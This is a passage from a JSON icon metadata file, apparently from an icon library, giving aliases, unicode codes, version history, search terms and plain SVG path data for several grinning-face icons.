        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm407.4 75.5c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM160 120c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L160 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L226.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6zm192 0c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L352 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L418.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm407.4 75.5c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM160 120c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L160 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L226.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6zm192 0c-3.1 0-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L352 232.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L418.4 178c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7c-1.3-2.8-4.1-4.6-7.2-4.6z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM183.2 132.6c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L176 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L242.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm160 0c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L336 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L402.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm6.3 175.8c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5c10.4-16.1-6.8-32.5-25.5-28.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM183.2 132.6c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L176 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L242.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm160 0c-1.3-2.8-4.1-4.6-7.2-4.6s-5.9 1.8-7.2 4.6l-16.6 34.7-38.1 5c-3.1 .4-5.6 2.5-6.6 5.5s-.1 6.2 2.1 8.3l27.9 26.5-7 37.8c-.6 3 .7 6.1 3.2 7.9s5.8 2 8.5 .6L336 240.5l33.8 18.3c2.7 1.5 6 1.3 8.5-.6s3.7-4.9 3.2-7.9l-7-37.8L402.4 186c2.2-2.1 3.1-5.3 2.1-8.3s-3.5-5.1-6.6-5.5l-38.1-5-16.6-34.7zm6.3 175.8c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c24.6 38.1 68.7 63.5 119.1 63.5s94.5-25.4 119.1-63.5c10.4-16.1-6.8-32.5-25.5-28.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tears": {
    "aliases": {
      "names": ["grin-tears"],
      "unicodes": {
        "composite": ["1f602"],
        "secondary": ["10f588"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "face",
        "face with tears of joy",
        "joy",
        "laugh",
        "tear"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f588",
    "label": "Face Grin Tears",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M548.6 371.4C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c3.6-8.8 6.5-18.4 8.8-27.5c4.6-18.2 7.7-37 9.3-48.2c3.9-26.5-18.8-49.2-45.2-45.4c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-26.5-3.9-49.2 18.8-45.2 45.4c1.6 11.3 4.6 30 9.3 48.2c2.3 9.1 5.2 18.8 8.8 27.5c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3zM107 254.1c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9zm454.5 87.1c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zm-90.1-9.7c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.4 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM281.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C190.7 188.4 184 206.1 184 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C350.7 188.4 344 206.1 344 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M548.6 371.4C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c3.6-8.8 6.5-18.4 8.8-27.5c4.6-18.2 7.7-37 9.3-48.2c3.9-26.5-18.8-49.2-45.2-45.4c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-26.5-3.9-49.2 18.8-45.2 45.4c1.6 11.3 4.6 30 9.3 48.2c2.3 9.1 5.2 18.8 8.8 27.5c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3zM107 254.1c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9zm454.5 87.1c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zm-90.1-9.7c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.4 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c25 59.1 83.2 100.5 151.1 100.5s126.2-41.4 151.1-100.5zM281.6 228.8l0 0 0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C190.7 188.4 184 206.1 184 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0zm160 0l0 0 0 0c2.1 2.8 5.7 3.9 8.9 2.8s5.5-4.1 5.5-7.6c0-17.9-6.7-35.6-16.6-48.8c-9.8-13-23.9-23.2-39.4-23.2s-29.6 10.2-39.4 23.2C350.7 188.4 344 206.1 344 224c0 3.4 2.2 6.5 5.5 7.6s6.9 0 8.9-2.8l0 0 0 0 0 0 .2-.2c.2-.2 .4-.5 .7-.9c.6-.8 1.6-2 2.8-3.4c2.5-2.8 6-6.6 10.2-10.3c8.8-7.8 18.8-14 27.7-14s18.9 6.2 27.7 14c4.2 3.7 7.7 7.5 10.2 10.3c1.2 1.4 2.2 2.6 2.8 3.4c.3 .4 .6 .7 .7 .9l.2 .2 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M516.1 325.5c1 3 2.1 6 3.3 8.9c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c1.2-2.9 2.3-5.9 3.3-8.9C152.5 406.2 229.5 464 320 464s167.5-57.8 196.1-138.5zM320 48c-101.4 0-185.8 72.5-204.3 168.5c-6.7-3.1-14.3-4.3-22.3-3.1c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-8-1.2-15.7 .1-22.3 3.1C505.8 120.5 421.4 48 320 48zM78.5 341.1C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7zm483 0c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zM439 336.5C414.4 374.6 370.3 400 319.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1zM281.6 228.8l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0zm160 0l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M516.1 325.5c1 3 2.1 6 3.3 8.9c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c1.2-2.9 2.3-5.9 3.3-8.9C152.5 406.2 229.5 464 320 464s167.5-57.8 196.1-138.5zM320 48c-101.4 0-185.8 72.5-204.3 168.5c-6.7-3.1-14.3-4.3-22.3-3.1c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-8-1.2-15.7 .1-22.3 3.1C505.8 120.5 421.4 48 320 48zM78.5 341.1C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7zm483 0c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zM439 336.5C414.4 374.6 370.3 400 319.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1zM281.6 228.8l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0zm160 0l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue": {
    "aliases": {
      "names": ["grin-tongue"],
      "unicodes": {
        "composite": ["1f61b"],
        "secondary": ["10f589"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "face with tongue", "tongue"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f589",
    "label": "Face Grin Tongue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V363.6c-8.9-8-16.7-17.1-23.1-27.1c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1c-6.4 9.9-14.2 19-23 27V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V363.6c-8.9-8-16.7-17.1-23.1-27.1c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1c-6.4 9.9-14.2 19-23 27V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue-squint": {
    "aliases": {
      "names": ["grin-tongue-squint"],
      "unicodes": {
        "composite": ["1f61d"],
        "secondary": ["10f58a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "eye",
        "face",
        "horrible",
        "squinting face with tongue",
        "taste",
        "tongue"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58a",
    "label": "Face Grin Tongue Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zM116 141.1c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zM116 141.1c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      },
      "regular": {
        "last_modified": 1684767583,
